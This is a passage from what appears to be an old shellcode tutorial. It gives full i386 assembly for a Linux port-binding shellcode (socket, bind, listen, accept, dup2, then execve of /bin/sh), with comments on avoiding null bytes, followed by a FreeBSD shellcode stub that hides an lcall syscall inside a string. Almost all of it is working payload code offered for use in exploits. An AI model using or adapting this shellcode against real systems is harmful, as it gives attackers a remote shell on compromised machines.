struct sockaddr_in {
  short int sin_family;   /* 2 byte word, containing AF_INET */
  unsigned short int sin_port;  /* 2 byte word, containg the port in network byte order */ 
  struct in_addr sin_addr /* 4 byte long, should be zeroed */
  unsigned char pad[8];   /* should be zero, but doesn't really matter */
};

----portshell.S----
.globl main
main:

/* I had to put in a "bounce" in the middle of the code as the shellcode
 * was too big. If I had made it jmp the entire shellcode, the instruction
 * would have contained a null byte, so if anyone has a shorter version,
 * please send me it.
 */

jmp bounce
start:
popl %esi

/* socket(2,1,0) */
xorl %eax,%eax
movl %eax,0x8(%esi)   /* 3rd arg == 0 */
movl %eax,0xc(%esi)     /* zero out sock.sin_family&sock.sin_port */
movl %eax,0x10(%esi)    /* zero out sock.sin_addr */
incb %al
movl %eax,%ebx          /* socket() subcode == 1 */
movl %eax,0x4(%esi)     /* 2nd arg == 1 */
incb %al
movl %eax,(%esi)        /* 1st arg == 2 */
movw %eax,0xc(%esi)     /* sock.sin_family == 2 */
leal (%esi),%ecx        /* load the address of the arguments into %ecx */
movb $0x66,%al          /* set socket syscall number */
int $0x80

/* bind(fd,&sock,0x10) */
incb %bl                /* bind() subcode == 2 */
movb %al,(%esi)         /* 1st arg == fd (result from socket()) */
movl %ecx,0x4(%esi)     /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi)     /* increase it by 12 bytes to point to sockaddr struct */
movb $0x10,0x8(%esi)    /* 3rd arg == 0x10 */
movb $0x23,0xe(%esi)    /* set sin.port */
movb $0x66,%al          /* no need to set %ecx, it is already set */
int $0x80 

/* listen(fd,2) */
movl %ebx,0x4(%esi)     /* bind() subcode==2, move this to the 2nd arg */
incb %bl                /* no need to set 1st arg, it is the same as bind() */
incb %bl                /* listen() subcode == 4 */
movb $0x66,%al          /* again, %ecx is already set */
int $0x80

/* fd2=accept(fd,&sock,&fromlen) */
incb %bl                /* accept() subcode == 5 */
movl %ecx,0x4(%esi)     /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi)     /* increase it by 12 bytes */
movl %ecx,0x4(%esi)     /* copy address of arguments into 3rd arg */
addb $0x1c,0x4(%esi)    /* increase it by 12+16 bytes */
movb $0x66,%al
int $0x80

/* KLUDGE */
jmp skippy
bounce:
jmp call
skippy:

/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */
movb %al,%bl      /* move fd2 to 1st arg */
xorl %ecx,%ecx      /* 2nd arg is 0 */
movb $0x3f,%al      /* set dup2() syscall number */
int $0x80
incb %cl            /* 2nd arg is 1 */
movb $0x3f,%al
int $0x80
incb %cl            /* 2nd arg is 2 */
movb $0x3f,%al
int $0x80

/* execve("/bin/sh",["/bin/sh"],NULL) */
movl %esi,%ebx
addb $0x20,%ebx     /* %ebx now points to "/bin/sh" */
xorl %eax,%eax
movl %ebx,0x8(%ebx)
movb %al,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
/* exit(0) */
xorl %eax,%eax
movl %eax,%ebx 
incb %al
int $0x80
call:
call start
.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"
-----------------------------------------------------

----fbsd.S----
.globl main
main:
jmp call
start:
/* Modify the ascii string so it becomes lcall 7,0 */
popl %esi
xorl %ebx,%ebx
movl %ebx,0x1(%esi) /* zeroed long word */
movb %bl,0x6(%esi)  /* zeroed byte */
movl %esi,%ebx
addb $0x8,%bl /* ebx points to binsh */
jmp blah /* start the code */

call:
call start
syscall:
.ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */
ret
binsh:
.ascii "/bin/sh...."
blah:
/* put shellcode here */
call syscall